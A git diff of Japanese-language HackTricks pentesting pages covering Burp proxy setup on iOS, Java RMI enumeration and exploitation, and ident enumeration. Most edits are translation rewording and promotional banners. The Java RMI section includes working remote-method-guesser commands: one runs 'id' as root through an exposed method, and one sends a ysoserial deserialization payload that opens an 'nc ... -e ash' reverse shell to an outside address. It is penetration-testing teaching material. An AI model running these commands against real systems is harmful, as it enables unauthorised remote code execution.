-* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
-* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、**ハッキングトリックを共有**してください。
+* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
+* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を入手してください
+* 独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見
+* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
+* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
diff --git a/mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md b/mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md
index 480b8631a..8b0537d0e 100644
--- a/mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md
+++ b/mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md
@@ -7,14 +7,14 @@
HackTricksをサポートする他の方法:
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
-- [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
-- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
+- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
+- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする
- **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
-
+
\
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
@@ -22,23 +22,23 @@ HackTricksをサポートする他の方法:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-## iOSデバイスにBurp証明書をインストールする
+## iOSデバイスでのBurp設定
iOSデバイスでの安全なWebトラフィック分析とSSLピニングのために、Burp Suiteは**Burp Mobile Assistant**を介してまたは手動で構成することができます。以下は両方の方法の要約ガイドです:
### Burp Mobile Assistantを使用した自動インストール
-**Burp Mobile Assistant**は、Burp証明書のインストールプロセス、プロキシ構成、およびSSLピニングを簡素化します。詳細なガイダンスは[PortSwiggerの公式ドキュメント](https://portswigger.net/burp/documentation/desktop/tools/mobile-assistant/installing)で見つけることができます。
+**Burp Mobile Assistant**は、Burp証明書、プロキシ構成、およびSSLピニングのインストールプロセスを簡略化します。詳細なガイダンスは[PortSwiggerの公式ドキュメント](https://portswigger.net/burp/documentation/desktop/tools/mobile-assistant/installing)で見つけることができます。
### 手動インストール手順
-1. **プロキシ構成:** iPhoneのWi-Fi設定でBurpをプロキシとして設定して開始します。
+1. **プロキシ構成:** iPhoneのWi-Fi設定でBurpをプロキシとして設定します。
2. **証明書のダウンロード:** デバイスのブラウザで`http://burp`に移動して証明書をダウンロードします。
3. **証明書のインストール:** ダウンロードしたプロファイルを**設定** > **一般** > **VPNとデバイス管理**でインストールし、**証明書信頼設定**の下でPortSwigger CAに信頼を設定します。
### インターセプトプロキシの構成
-このセットアップにより、iOSデバイスとインターネット間のトラフィック分析がBurpを介して可能となります。クライアント間トラフィックをサポートするWi-Fiネットワークが利用できない場合は、usbmuxdを介したUSB接続が代替手段として機能します。PortSwiggerのチュートリアルでは、[デバイスの構成](https://support.portswigger.net/customer/portal/articles/1841108-configuring-an-ios-device-to-work-with-burp)および[証明書のインストール](https://support.portswigger.net/customer/portal/articles/1841109-installing-burp-s-ca-certificate-in-an-ios-device)に関する詳細な手順が提供されています。
+この設定により、iOSデバイスとインターネット間のトラフィック分析がBurpを介して可能となります。クライアント間トラフィックをサポートするWi-Fiネットワークが利用できない場合は、usbmuxdを介したUSB接続が代替手段として機能します。PortSwiggerのチュートリアルには、[デバイスの構成](https://support.portswigger.net/customer/portal/articles/1841108-configuring-an-ios-device-to-work-with-burp)および[証明書のインストール](https://support.portswigger.net/customer/portal/articles/1841109-installing-burp-s-ca-certificate-in-an-ios-device)に関する詳細な手順が記載されています。
### ジェイルブレイクされたデバイスのための高度な構成
@@ -49,12 +49,12 @@ iOSデバイスでの安全なWebトラフィック分析とSSLピニングの
```bash
iproxy 2222 22
```
-2. **リモートポートフォワーディング:** iOSデバイスのポート8080をコンピュータのlocalhostに転送して、Burpのインターフェースに直接アクセスできるようにします。
+2. **リモートポート転送:** iOSデバイスのポート8080をコンピュータのlocalhostに転送して、Burpのインターフェースに直接アクセスできるようにします。
```bash
ssh -R 8080:localhost:8080 root@localhost -p 2222
```
-3. **グローバルプロキシ設定:** 最後に、iOSデバイスのWi-Fi設定を手動プロキシに設定して、すべてのWebトラフィックをBurp経由で誘導します。
+3. **グローバルプロキシ設定:** 最後に、iOSデバイスのWi-Fi設定を手動プロキシに設定して、すべてのWebトラフィックをBurp経由でリダイレクトします。
### フルネットワークモニタリング/スニッフィング
@@ -62,8 +62,8 @@ ssh -R 8080:localhost:8080 root@localhost -p 2222
手順にはいくつかの重要なステップが含まれます:
-1. iOSデバイスとmacOSホストとの間でUSB経由で接続を開始します。
-2. トラフィック監視のためにiOSデバイスの**UDID**を確認します。これは、macOSターミナルでコマンドを実行することで行うことができます。
+1. iOSデバイスとmacOSホストとの間でUSB経由で接続を確立します。
+2. トラフィック監視のためにiOSデバイスの**UDID**を特定します。これは、macOSターミナルでコマンドを実行することで行うことができます。
```bash
$ rvictl -s
Starting device [SUCCEEDED] with interface rvi0
@@ -71,7 +71,7 @@ Starting device [SUCCEEDED] with interface rvi0
3. UDIDの識別後、**Wireshark**を開き、「rvi0」インターフェースをデータキャプチャ用に選択します。
4. 特定のIPアドレスに関連するHTTPトラフィックをキャプチャするなど、ターゲットモニタリングのために、Wiresharkのキャプチャフィルタを使用できます:
-## シミュレータでのBurp証明書のインストール
+## シミュレータへのBurp証明書のインストール
* **Burp証明書のエクスポート**
@@ -79,9 +79,9 @@ _Proxy_ --> _Options_ --> _Export CA certificate_ --> _Certificate in DER format
![](<../../.gitbook/assets/image (459).png>)
-* 証明書をエミュレータ内に**ドラッグアンドドロップ**
+* 証明書をエミュレータに**ドラッグアンドドロップ**
* エミュレータ内で _Settings_ --> _General_ --> _Profile_ --> _PortSwigger CA_に移動し、証明書を**確認**
-* エミュレータ内で _Settings_ --> _General_ --> _About_ --> _Certificate Trust Settings_に移動し、**PortSwigger CA**を有効にします
+* エミュレータ内で _Settings_ --> _General_ --> _About_ --> _Certificate Trust Settings_に移動し、PortSwigger CAを**有効化**
![](<../../.gitbook/assets/image (460).png>)
@@ -103,7 +103,7 @@ _Proxy_ --> _Options_ --> _Export CA certificate_ --> _Certificate in DER format
* _**Ok**_ をクリックし、_**Apply**_ をクリックします
-
+
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
@@ -113,14 +113,14 @@ _Proxy_ --> _Options_ --> _Export CA certificate_ --> _Certificate in DER format
-**htARTE(HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでのAWSハッキング**を学びましょう!
+**htARTE (HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでのAWSハッキング**を学びましょう!
HackTricksをサポートする他の方法:
-* **HackTricksで企業を宣伝**したい場合や、**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
+* **HackTricksで企業を宣伝**したい場合や、**PDF形式でHackTricksをダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手してください
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
-* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
+* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
diff --git a/network-services-pentesting/1099-pentesting-java-rmi.md b/network-services-pentesting/1099-pentesting-java-rmi.md
index bdd1fe15f..8bba53f8f 100644
--- a/network-services-pentesting/1099-pentesting-java-rmi.md
+++ b/network-services-pentesting/1099-pentesting-java-rmi.md
@@ -1,32 +1,32 @@
-# 1098/1099/1050 - Java RMIのペンテスト - RMI-IIOP
+# 1098/1099/1050 - Java RMI ペンテスト - RMI-IIOP
-**htARTE(HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでのAWSハッキング**を学びましょう!
+htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ!
-HackTricksをサポートする他の方法:
+HackTricks をサポートする他の方法:
-- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
-- [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
-- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
-- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**する。
-- **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する。
+* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
+* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
+* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
+* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローする
+* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリに **PRを提出** して、あなたのハッキングテクニックを共有する
-
+
\
-[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって**パワード**された**ワークフローを簡単に構築**および**自動化**します。\
-今すぐアクセスしてください:
+[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) を使用して、世界で最も高度なコミュニティツールによって強化された **ワークフローを簡単に構築** および **自動化** します。\
+今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## 基本情報
-_Java Remote Method Invocation_、または_Java RMI_は、オブジェクト指向の_RPC_メカニズムであり、1つの_Java仮想マシン_にあるオブジェクトが別の_Java仮想マシンにあるオブジェクトのメソッドを呼び出すことを可能にします。これにより、開発者はオブジェクト指向パラダイムを使用して分散アプリケーションを記述できます。攻撃的な観点からの_Java RMI_の簡単な紹介は、[このブラックハットのトーク](https://youtu.be/t_aw1mDNhzI?t=202)で見つけることができます。
+_Java Remote Method Invocation_、または _Java RMI_ は、オブジェクト指向の _RPC_ メカニズムであり、1つの _Java仮想マシン_ にあるオブジェクトが、別の _Java仮想マシン_ にあるオブジェクトのメソッドを呼び出すことを可能にします。これにより、開発者はオブジェクト指向パラダイムを使用して分散アプリケーションを記述できます。攻撃的な観点からの _Java RMI_ の簡単な紹介は、[このブラックハットのトーク](https://youtu.be/t\_aw1mDNhzI?t=202) で見つけることができます。
-**デフォルトポート:** 1090、1098、1099、1199、4443-4446、8999-9010、9999
+**デフォルトポート:** 1090,1098,1099,1199,4443-4446,8999-9010,9999
```
PORT STATE SERVICE VERSION
1090/tcp open ssl/java-rmi Java RMI
@@ -34,20 +34,20 @@ PORT STATE SERVICE VERSION
37471/tcp open java-rmi Java RMI
40259/tcp open ssl/java-rmi Java RMI
```
-通常、一般的なポートにはデフォルトの_Java RMI_コンポーネント(_RMI Registry_と_Activation System_)のみがバインドされます。実際の_RMI_アプリケーションを実装する_リモートオブジェクト_は、通常、ランダムなポートにバインドされます(上記の出力に示されているように)。
+通常、一般的なポートにはデフォルトの_Java RMI_コンポーネント(_RMI Registry_と_Activation System_)のみがバインドされます。実際の_RMI_アプリケーションを実装する_リモートオブジェクト_は、通常、上記の出力に示されているようにランダムなポートにバインドされます。
-_nmap_は、時々_SSL_で保護された_RMI_サービスを識別するのに苦労することがあります。一般的な_RMI_ポートで不明なsslサービスに遭遇した場合は、さらに調査する必要があります。
+_nmap_は時々、_SSL_で保護された_RMI_サービスを識別するのに問題があることがあります。一般的な_RMI_ポートで不明なsslサービスに遭遇した場合は、さらに調査する必要があります。
## RMIコンポーネント
-簡単に言うと、_Java RMI_は開発者がネットワーク上で_Javaオブジェクト_を利用可能にすることを可能にします。これにより、クライアントが接続して対応するオブジェクトのメソッドを呼び出すことができる_TCP_ポートが開かれます。これは単純なように聞こえますが、_Java RMI_が解決する必要があるいくつかの課題があります:
+簡単に言うと、_Java RMI_は開発者がネットワーク上で_Javaオブジェクト_を利用可能にすることを可能にします。これにより、クライアントが接続して対応するオブジェクトのメソッドを呼び出すことができる_TCP_ポートが開かれます。これは単純に聞こえますが、_Java RMI_が解決する必要があるいくつかの課題があります:
-1. _Java RMI_を介してメソッド呼び出しをディスパッチするには、クライアントがIPアドレス、リスニングポート、実装されたクラスまたはインターフェース、および対象オブジェクトの`ObjID`(`ObjID`はオブジェクトがネットワーク上で利用可能になるときに作成される一意のランダムな識別子です。_Java RMI_は複数のオブジェクトが同じ_TCP_ポートでリッスンすることを許可しているため、これが必要です)を知っている必要があります。
-2. リモートクライアントは、公開されたオブジェクトのメソッドを呼び出すことでサーバー上でリソースを割り当てる場合があります。_Java仮想マシン_は、これらのリソースのうちどれがまだ使用中であり、どれがガベージコレクションされる可能性があるかを追跡する必要があります。
+1. _Java RMI_を介してメソッド呼び出しをディスパッチするには、クライアントが対象のオブジェクトのIPアドレス、リスニングポート、実装されたクラスまたはインターフェース、および`ObjID`(`ObjID`はオブジェクトがネットワーク上で利用可能になるときに作成される一意のランダムな識別子です。_Java RMI_は同じ_TCP_ポートで複数のオブジェクトがリスンできるようにするために必要です)を知っている必要があります。
+2. リモートクライアントは公開されたオブジェクトのメソッドを呼び出すことでサーバー上でリソースを割り当てることができます。_Java仮想マシン_は、これらのリソースのうちどれがまだ使用中であり、どれがガベージコレクションされる可能性があるかを追跡する必要があります。
最初の課題は_RMIレジストリ_によって解決されます。これは基本的に_Java RMI_のための名前付けサービスです。_RMIレジストリ_自体も_RMIサービス_ですが、実装されたインターフェースと`ObjID`は固定されており、すべての_RMI_クライアントによって知られています。これにより、_RMI_クライアントは対応する_TCP_ポートを知っているだけで_RMIレジストリ_を利用できます。
-開発者がネットワーク内で_Javaオブジェクト_を利用可能にしたい場合、通常はそれらを_RMIレジストリ_にバインドします。_レジストリ_は、オブジェクトに接続するために必要なすべての情報(IPアドレス、リスニングポート、実装されたクラスまたはインターフェース、および`ObjID`値)を保存し、人間が読める名前(_バウンド名_)の下で利用可能にします。_RMIサービス_を消費したいクライアントは、_RMIレジストリ_に対応する_バウンド名_を問い合わせ、レジストリは接続に必要なすべての情報を返します。したがって、状況は基本的に通常の_DNS_サービスと同じです。次のリストは小さな例を示しています:
+開発者が_Javaオブジェクト_をネットワーク内で利用可能にしたい場合、通常はそれらを_RMIレジストリ_にバインドします。_レジストリ_はオブジェクトに接続するために必要なすべての情報(IPアドレス、リスニングポート、実装されたクラスまたはインターフェース、および`ObjID`値)を保存し、人間が読める名前(_バウンド名_)の下で利用可能にします。_RMIサービス_を消費したいクライアントは、_RMIレジストリ_に対応する_バウンド名_を問い合わせ、レジストリは接続に必要なすべての情報を返します。したがって、状況は基本的に通常の_DNS_サービスと同じです。次のリストは小さな例を示しています:
```java
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
@@ -71,19 +71,19 @@ e.printStackTrace();
}
}
```
-上記の課題の2つ目は、**分散ガベージコレクター**(**DGC**)によって解決されます。これは別の**RMIサービス**であり、よく知られた`ObjID`値を持ち、基本的に各**RMIエンドポイント**で利用可能です。**RMIクライアント**が**RMIサービス**を使用し始めると、対応する**リモートオブジェクト**が使用中であることを**DGC**に情報を送信します。**DGC**はその後、参照カウントを追跡し、未使用のオブジェクトをクリーンアップすることができます。
+上記のチャレンジの2番目は、**分散ガベージコレクター**(**DGC**)によって解決されます。これは別の**RMIサービス**であり、よく知られた`ObjID`値を持ち、基本的に各**RMIエンドポイント**で利用可能です。**RMIクライアント**が**RMIサービス**を使用し始めると、対応する**リモートオブジェクト**が使用中であることを**DGC**に情報を送信します。**DGC**はその後、参照カウントを追跡し、未使用のオブジェクトをクリーンアップすることができます。
-非推奨の**Activation System**と共に、これらは**Java RMI**の3つのデフォルトコンポーネントです:
+廃止された**Activation System**と共に、これらは**Java RMI**の3つのデフォルトコンポーネントです:
1. **RMIレジストリ**(`ObjID = 0`)
2. **Activation System**(`ObjID = 1`)
3. **Distributed Garbage Collector**(`ObjID = 2`)
-**Java RMI**のデフォルトコンポーネントはかなり長い間既知の攻撃ベクトルであり、古い**Java**バージョンには複数の脆弱性が存在しています。攻撃者の視点から見ると、これらのデフォルトコンポーネントは興味深いものであり、既知のクラス/インターフェースが実装されており、それらと簡単にやり取りすることが可能です。これはカスタム**RMIサービス**に対しては異なります。**リモートオブジェクト**のメソッドを呼び出すには、事前に対応するメソッドシグネチャを知っている必要があります。既存のメソッドシグネチャを知らない場合、**RMIサービス**に通信する方法はありません。
+**Java RMI**のデフォルトコンポーネントはかなり長い間既知の攻撃ベクトルであり、古い**Java**バージョンには複数の脆弱性が存在しています。攻撃者の視点から見ると、これらのデフォルトコンポーネントは興味深いものであり、既知のクラス/インターフェースが実装されており、それらと簡単にやり取りすることが可能です。これはカスタム**RMIサービス**には当てはまりません。**リモートオブジェクト**のメソッドを呼び出すには、事前に対応するメソッドシグネチャを知っている必要があります。既存のメソッドシグネチャを知らない場合、**RMIサービス**に通信する方法はありません。
## RMI列挙
-[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)は、一般的な**RMI脆弱性**を自動的に特定できる**Java RMI**脆弱性スキャナーです。**RMI**エンドポイントを特定した場合は、試してみる価値があります。
+[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)は、一般的な**RMI脆弱性**を自動的に特定できる**Java RMI**脆弱性スキャナーです。**RMI**エンドポイントを特定した場合は、ぜひ試してみてください:
```
$ rmg enum 172.17.0.2 9010
[+] RMI registry bound names:
@@ -143,9 +143,9 @@ $ rmg enum 172.17.0.2 9010
[+] --> Deserialization allowed - Vulnerability Status: Vulnerable
[+] --> Client codebase enabled - Configuration Status: Non Default
```
-The output of the enumeration action is explained in more detail in the [documentation pages](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action) of the project. Depending on the outcome, you should try to verify identified vulnerabilities.
+Enumerationアクションの出力は、プロジェクトの[ドキュメントページ](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action)で詳しく説明されています。結果に応じて、特定された脆弱性を検証する必要があります。
-The `ObjID` values displayed by _remote-method-guesser_ can be used to determine the uptime of the service. This may allows to identify other vulnerabilities:
+_remote-method-guesser_によって表示される`ObjID`値を使用して、サービスの稼働時間を特定できます。これにより、他の脆弱性を特定できる場合があります:
```
$ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
[+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
@@ -158,7 +158,7 @@ $ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
```
## リモートメソッドのブルートフォース
-列挙中に脆弱性が特定されなかった場合でも、利用可能な _RMI_ サービスは危険な機能を公開している可能性があります。さらに、_RMI_ デフォルトコンポーネントへの _RMI_ 通信は逆シリアル化フィルターによって保護されていますが、カスタム _RMI_ サービスと通信する際には、そのようなフィルターが通常存在しません。したがって、_RMI_ サービス上の有効なメソッドシグネチャを知ることは有益です。
+列挙中に脆弱性が特定されなかった場合でも、利用可能な _RMI_ サービスは危険な機能を公開している可能性があります。さらに、_RMI_ 通信が _RMI_ デフォルトコンポーネントに対しては逆シリアル化フィルターによって保護されている一方、カスタム _RMI_ サービスに対しては通常、そのようなフィルターが設定されていません。したがって、_RMI_ サービス上の有効なメソッドシグネチャを知ることは有益です。
残念ながら、_Java RMI_ は _リモートオブジェクト_ 上のメソッドを列挙することをサポートしていません。ただし、[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) や [rmiscout](https://github.com/BishopFox/rmiscout) などのツールを使用してメソッドシグネチャをブルートフォースすることが可能です。
```
@@ -190,12 +190,12 @@ $ rmg guess 172.17.0.2 9010
[+] --> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
[+] --> String login(java.util.HashMap dummy1)
```
-特定されたメソッドは次のように呼び出すことができます:
+特定されたメソッドは、次のように呼び出すことができます:
```
$ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar
[+] uid=0(root) gid=0(root) groups=0(root)
```
-または、次のようにデシリアライゼーション攻撃を実行することができます:
+または、次のようにシリアル化攻撃を実行することもできます:
```
$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --bound-name plain-server --signature "String execute(String dummy)"
[+] Creating ysoserial payload... done.
@@ -229,7 +229,7 @@ uid=0(root) gid=0(root) groups=0(root)
## 既知のインターフェース
-[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) は、ツールの内部データベースにリストされている _RMI サービス_ の既知のクラスやインターフェースを `known` としてマークします。これらの場合、対応する _RMI サービス_ についてさらに情報を取得するために `known` アクションを使用できます。
+[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) は、ツールの内部データベースにリストされている _RMI サービス_ の既知のクラスやインターフェースを `known` としてマークします。これらの場合、`known` アクションを使用して対応する _RMI サービス_ に関する詳細情報を取得できます。
```
$ rmg enum 172.17.0.2 1090 | head -n 5
[+] RMI registry bound names:
@@ -313,10 +313,10 @@ Name: Enumeration
Description: Perform basic enumeration of an RMI service
Command: rmg enum {IP} {PORT}
```
-
+
\
-[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
+[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
今すぐアクセスしてください:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@@ -330,7 +330,7 @@ HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手してください
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
-* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**したり、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**してください。
+* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**してください。
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
diff --git a/network-services-pentesting/113-pentesting-ident.md b/network-services-pentesting/113-pentesting-ident.md
index 6345799c7..3fa01742c 100644
--- a/network-services-pentesting/113-pentesting-ident.md
+++ b/network-services-pentesting/113-pentesting-ident.md
@@ -6,24 +6,24 @@
HackTricks をサポートする他の方法:
-* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
-* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
-* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で **フォロー**する。
-* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のgithubリポジトリに提出する。
+* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
+* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
+* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
+* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローする
+* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
-
+
-[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
-今すぐアクセスしてください:
+[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) を使用して、世界で最も高度なコミュニティツールによって強化された **ワークフローを簡単に構築** および **自動化** します。\
+今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## 基本情報
-**Identプロトコル**は、**インターネット**上で**TCP接続**を特定のユーザーに関連付けるために使用されます。**ネットワーク管理**および**セキュリティ**を支援するために設計されたもので、特定のTCP接続のユーザーに関する情報をリクエストするために、サーバーがポート113でクライアントにクエリを許可することによって動作します。
+**Identプロトコル** は、**インターネット** 上で **TCP接続** を特定のユーザーに関連付けるために使用されます。**ネットワーク管理** と **セキュリティ** を支援するために設計されたもので、特定のTCP接続のユーザーに関する情報をリクエストするために、サーバーがポート113でクライアントにクエリを許可することによって動作します。
しかし、現代のプライバシー上の懸念や誤用の可能性により、権限のない者にユーザー情報を誤って明らかにする可能性があるため、その使用は減少しています。これらのリスクを緩和するために、暗号化された接続や厳格なアクセス制御などの強化されたセキュリティ対策が推奨されています。
@@ -34,13 +34,13 @@ PORT STATE SERVICE
```
## **列挙**
-### **手動 - ユーザーの取得/サービスの識別**
+### **手動 - ユーザーを取得/サービスを特定する**
-マシンがidentおよびsamba(445)を実行しており、ポート43218を使用してsambaに接続している場合、次のようにしてsambaサービスを実行しているユーザーを取得できます:
+マシンがidentおよびsamba(445)を実行しており、ポート43218を使用してsambaに接続している場合、次のコマンドを使用してsambaサービスを実行しているユーザーを取得できます:
![](<../.gitbook/assets/image (15) (1) (1).png>)
-サービスに接続するときに単にEnterキーを押すと:
+サービスに接続するときに単にEnterキーを押すと、次のようになります:
![](<../.gitbook/assets/image (16) (1) (1).png>)
@@ -50,7 +50,7 @@ PORT STATE SERVICE
### Nmap
-デフォルトでは(\`-sC\`\)、nmapは実行中のすべてのポートのすべてのユーザーを識別します:
+デフォルトでは(\`-sC\`\)、nmapは実行中のすべてのポートのすべてのユーザーを特定します:
```
PORT STATE SERVICE VERSION
